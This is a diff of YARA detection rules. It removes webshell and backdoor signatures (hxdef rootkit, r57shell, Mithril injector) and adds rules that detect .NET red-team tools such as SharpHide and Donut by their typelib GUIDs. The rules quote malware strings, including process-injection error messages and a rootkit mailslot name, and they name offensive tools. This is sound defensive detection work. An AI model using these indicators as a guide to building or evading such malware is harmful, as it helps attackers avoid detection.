-		$s0 = "RtlAnsiStringToUnicodeString"
-		$s8 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
-		$s9 = "\\\\.\\mailslot\\hxdef-rk100sABCDEFGH"
+		$typelibguid0lo = "a6b84e35-2112-4df2-a31b-50fde4458c5e" ascii wide
+		$typelibguid0up = "A6B84E35-2112-4DF2-A31B-50FDE4458C5E" ascii wide
+		$typelibguid1lo = "3e82f538-6336-4fff-aeec-e774676205da" ascii wide
+		$typelibguid1up = "3E82F538-6336-4FFF-AEEC-E774676205DA" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Rdrbs100
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphide : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file rdrbs100.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "369e5ce0-984c-54eb-96d4-fbfb4f932ba6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8170-L8182"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7c752bcd6da796d80a6830c61a632bff"
-		logic_hash = "8a427ef9e0ecd0c810913203aaef43647964f33658dfdca8195fce6f0545f8f4"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "928e00c1-549a-58f5-9e7e-982a4319691a"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/outflanknl/SharpHide"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4779-L4793"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3efa5458dcdf447184b91f8fa075c46c82aea25d619c43eabccce4d85ff15f38"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "Server address must be IP in A.B.C.D format."
-		$s4 = " mapped ports in the list. Currently "
+		$typelibguid0lo = "443d8cbf-899c-4c22-b4f6-b7ac202d4e37" ascii wide
+		$typelibguid0up = "443D8CBF-899C-4C22-B4F6-B7AC202D4E37" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mithril_Mithril
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsvc : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file Mithril.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "81645f57-7d7e-5b4d-b323-744f2cde4916"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8183-L8201"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "017191562d72ab0ca551eb89256650bd"
-		logic_hash = "5d19eb4132a0401d226c9cffc927b2838e9c69428746296b55a488d097759587"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cbc1d7d4-f3b4-5d02-84ae-621398cb7b51"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/SharpSvc"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4795-L4809"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "61a4269200c699c5d00bde40e11cfec92da5cf7c7aeaffaedf60e70bcb31ccdf"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "OpenProcess error!"
-		$s1 = "WriteProcessMemory error!"
-		$s4 = "GetProcAddress error!"
-		$s5 = "HHt`HHt\\"
-		$s6 = "Cmaudi0"
-		$s7 = "CreateRemoteThread error!"
-		$s8 = "Kernel32"
-		$s9 = "VirtualAllocEx error!"
+		$typelibguid0lo = "52856b03-5acd-45e0-828e-13ccb16942d1" ascii wide
+		$typelibguid0up = "52856B03-5ACD-45E0-828E-13CCB16942D1" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hxdef100_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcrasheventlog : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file hxdef100.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1f079b73-29de-50cf-868c-1639a43e576f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8202-L8215"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b393e2e13b9c57fb501b7cd7ad96b25"
-		logic_hash = "d44131f6c1bfdc36079f474832a79a361dfad96d1b84f7004d682150c93eccc5"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "85d31989-ad96-5005-a747-8a19a67fdd80"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/slyd0g/SharpCrashEventLog"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4811-L4825"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5f286244243024d23a6a27e5713a7ecedef9028b317d5827f35254a35e6c5473"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "\\\\.\\mailslot\\hxdef-rkc000"
-		$s2 = "Shared Components\\On Access Scanner\\BehaviourBlo"
-		$s6 = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\"
+		$typelibguid0lo = "98cb495f-4d47-4722-b08f-cefab2282b18" ascii wide
+		$typelibguid0up = "98CB495F-4D47-4722-B08F-CEFAB2282B18" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Release_Dlltest
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnettojscript_Languagemodebreakout : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dllTest.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "af821252-8409-5572-9014-59e8c5feaacd"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8216-L8236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "76a59fc3242a2819307bb9d593bef2e0"
-		logic_hash = "ba759ae1bbde357085b2b2dfda0780b5a239a44b4e999244e8eceed246090ce3"
-		score = 50
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8c8cf79f-8e69-5293-b27a-1f8593061627"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FuzzySecurity/DotNetToJScript-LanguageModeBreakout"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4827-L4841"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1f1651b896e62ee669e233403a9fb435adfb4f8965b6432452a1bb72b69bfe2c"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = ";;;Y;`;d;h;l;p;t;x;|;"
-		$s1 = "0 0&00060K0R0X0f0l0q0w0"
-		$s2 = ": :$:(:,:0:4:8:D:`=d="
-		$s3 = "4@5P5T5\\5T7\\7d7l7t7|7"
-		$s4 = "1,121>1C1K1Q1X1^1e1k1s1y1"
-		$s5 = "9 9$9(9,9P9X9\\9`9d9h9l9p9t9x9|9"
-		$s6 = "0)0O0\\0a0o0\"1E1P1q1"
-		$s7 = "<.<I<d<h<l<p<t<x<|<"
-		$s8 = "3&31383>3F3Q3X3`3f3w3|3"
-		$s9 = "8@;D;H;L;P;T;X;\\;a;9=W=z="
+		$typelibguid0lo = "deadb33f-fa94-41b5-813d-e72d8677a0cf" ascii wide
+		$typelibguid0up = "DEADB33F-FA94-41B5-813D-E72D8677A0CF" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webadmin
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpermission : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file webadmin.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "615d87f8-9094-5994-aea1-d7276623fbca"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8237-L8248"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3a90de401b30e5b590362ba2dde30937"
-		logic_hash = "6e215c3d8b8357b839416ee6951f7739387bb94aa1284ea7e827ae2205221294"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d5027f51-f3ca-53cd-96d7-c355b5c2e6fa"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/mitchmoser/SharPermission"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4843-L4857"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c22923057099a6a796cab36838728c0ae51a1c2a6f06c4a0c07415baadac6978"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<input name=\\\"editfilename\\\" type=\\\"text\\\" class=\\\"style1\\\" value='\".$this->inpu"
+		$typelibguid0lo = "84d2b661-3267-49c8-9f51-8f72f21aea47" ascii wide
+		$typelibguid0up = "84D2B661-3267-49C8-9F51-8F72F21AEA47" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Commands
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Registrystrikesback : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file commands.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7cffefc7-4f24-5908-82a4-f11eda398377"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8249-L8261"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "174486fe844cb388e2ae3494ac2d1ec2"
-		logic_hash = "5251ee090934c8f99a8a2ffef2605593943306937dc56a135a47f1da7e732587"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1577ed24-0e17-54f9-bc29-bb209acf9645"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/RegistryStrikesBack"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4859-L4873"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fa228e65f6bada1811c83528af8119b5336ebbc2381d5edef35c749ddff02487"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "If CheckRecord(\"SELECT COUNT(ID) FROM VictimDetail WHERE VictimID = \" & VictimID"
-		$s2 = "proxyArr = Array (\"HTTP_X_FORWARDED_FOR\",\"HTTP_VIA\",\"HTTP_CACHE_CONTROL\",\"HTTP_F"
+		$typelibguid0lo = "90ebd469-d780-4431-9bd8-014b00057665" ascii wide
+		$typelibguid0up = "90EBD469-D780-4431-9BD8-014B00057665" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hkdoordll
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Clonevault : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file hkdoordll.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c4cfb575-89c3-5a72-8bf5-234d4284fe9d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8262-L8273"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b715c009d47686c0e62d0981efce2552"
-		logic_hash = "a3c4d262b59cdf82390c0457810505e9e7a18c9b26ba4524bc368fd2141ec306"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3340a095-d926-5c85-b7ed-03151712538d"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/mdsecactivebreach/CloneVault"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4875-L4889"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b8a2be082e2444ac9bfa9dd820e08de147c8dbfc0573e7126bde39f18b917bfd"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "Can't uninstall,maybe the backdoor is not installed or,the Password you INPUT is"
+		$typelibguid0lo = "0a344f52-6780-4d10-9a4a-cb9439f9d3de" ascii wide
+		$typelibguid0up = "0A344F52-6780-4D10-9A4A-CB9439F9D3DE" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_R57Shell_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Donut : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file r57shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d3a3fe11-c9e1-523b-88a3-ddc0c1085d04"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8274-L8285"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8023394542cddf8aee5dec6072ed02b5"
-		logic_hash = "5319426928d33b62527efb561c2b7a226a5a473735f501b267e6b3b174972085"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "564dfd0a-af9b-505f-a6f0-de2a5c5c63f3"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/TheWover/donut"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4891-L4911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cae0d358cda5330f69162aa3116d544f9ba16d37dcbcbf33f9938360b861b89a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo \"<br>\".ws(2).\"HDD Free : <b>\".view_size($free).\"</b> HDD Total : <b>\".view_"
+		$typelibguid0lo = "98ca74c7-a074-434d-9772-75896e73ceaa" ascii wide
+		$typelibguid0up = "98CA74C7-A074-434D-9772-75896E73CEAA" ascii wide
+		$typelibguid1lo = "3c9a6b88-bed2-4ba8-964c-77ec29bf1846" ascii wide
+		$typelibguid1up = "3C9A6B88-BED2-4BA8-964C-77EC29BF1846" ascii wide
+		$typelibguid2lo = "4fcdf3a3-aeef-43ea-9297-0d3bde3bdad2" ascii wide
+		$typelibguid2up = "4FCDF3A3-AEEF-43EA-9297-0D3BDE3BDAD2" ascii wide
+		$typelibguid3lo = "361c69f5-7885-4931-949a-b91eeab170e3" ascii wide
+		$typelibguid3up = "361C69F5-7885-4931-949A-B91EEAB170E3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mithril_V1_45_Dlltest
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharphandler : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dllTest.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2aea84b6-1b51-58cd-b52b-c31b1f75d295"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8286-L8299"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b9e518aaa62b15079ff6edb412b21e9"
-		logic_hash = "cf1e2ca39ae6b726792bbbaf0f1dd90788a4bb9ba5e3d50c22d75f2b3d4e9e7d"
-		score = 50
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b71198a9-4d00-5d75-bc36-7c40655c84a3"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/jfmaes/SharpHandler"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4913-L4929"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "70e8c495c8a340e0afaa38faf0eb96101854a4dc51c29c571d9b74751aec91fd"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "syspath"
-		$s4 = "\\Mithril"
-		$s5 = "--list the services in the computer"
+		$typelibguid0lo = "46e39aed-0cff-47c6-8a63-6826f147d7bd" ascii wide
+		$typelibguid0up = "46E39AED-0CFF-47C6-8A63-6826F147D7BD" ascii wide
+		$typelibguid1lo = "11dc83c6-8186-4887-b228-9dc4fd281a23" ascii wide
+		$typelibguid1up = "11DC83C6-8186-4887-B228-9DC4FD281A23" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Dbgiis6Cli
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Driver_Template : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file dbgiis6cli.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2bc59a6b-f45c-5e68-a346-ac56e8f2757b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8300-L8312"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3044dceb632b636563f66fee3aaaf8f3"
-		logic_hash = "f6de3c9b8fbcca230540d1b41659ab02c9548df69f53fa9d5730ac7bb7dfe88a"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "539f88c5-e779-55e0-98df-299a9068de9b"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/FuzzySecurity/Driver-Template"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4931-L4945"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "533cefcc86ff8eff8757041df8acf2a9c484d265b6aa9516c12adb606d6f71cb"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
-		$s5 = "###command:(NO more than 100 bytes!)"
+		$typelibguid0lo = "bdb79ad6-639f-4dc2-8b8a-cd9107da3d69" ascii wide
+		$typelibguid0up = "BDB79AD6-639F-4DC2-8B8A-CD9107DA3D69" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Remview_2003_04_22
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Nashavm : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file remview_2003_04_22.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3088ee27-42a3-5140-98de-ab6f87c7748b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8313-L8324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "17d3e4e39fbca857344a7650f7ea55e3"
-		logic_hash = "2957f6ec7a022ac04759724276f6928625708346903597b0765b5e81207fc6b9"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3abbf636-01f4-547a-98c0-d7bfec07e31a"
+		date = "2021-01-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/Mrakovic-ORG/NashaVM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4947-L4961"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4046e8183ee2bcf95893f9a438f13aec9afa99e252029888830a0bf81dac2f6f"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\"<b>\".mm(\"Eval PHP code\").\"</b> (\".mm(\"don't type\").\" \\\"&lt;?\\\""
+		$typelibguid0lo = "f9e63498-6e92-4afd-8c13-4f63a3d964c3" ascii wide
+		$typelibguid0up = "F9E63498-6E92-4AFD-8C13-4F63A3D964C3" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Test
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsqlpwn : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file test.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b0cc5a2a-c741-50dd-854f-5a43769e8f47"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8325-L8337"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "82cf7b48da8286e644f575b039a99c26"
-		logic_hash = "62613bead716717f116290b1c9eca9aa63eadd280050811e30a54e5d186af2fc"
-		score = 50
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "b533d61a-8693-5c3c-8b31-2117262cad4e"
+		date = "2022-11-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/lefayjey/SharpSQLPwn.git"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4963-L4977"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2015c80084199bfedebe1591f02ffad5f31218351148d8087789b82523a39baa"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$yazi = \"test\" . \"\\r\\n\";"
-		$s2 = "fwrite ($fp, \"$yazi\");"
+		$typelibguid0lo = "c442ea6a-9aa1-4d9c-9c9d-7560a327089c" ascii wide
+		$typelibguid0up = "C442EA6A-9AA1-4D9C-9C9D-7560A327089C" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Debug_Cress
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Group3R : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file cress.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6cf3e43c-bec1-5688-b1d7-8ac48d59153a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8338-L8350"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36a416186fe010574c9be68002a7286a"
-		logic_hash = "670e236e72d3cb52ea5dba865749baee58a70f8d100db1dd8eddfe3183339181"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0571d71e-50ca-5c1b-b750-34acc2d06687"
+		date = "2022-11-21"
+		modified = "2023-04-06"
+		reference = "https://github.com/Group3r/Group3r.git"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L4979-L4995"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8ff62920395c8db7544ba0fb0dc0833892f89d0f8908bc3eee909ad1e012c84c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
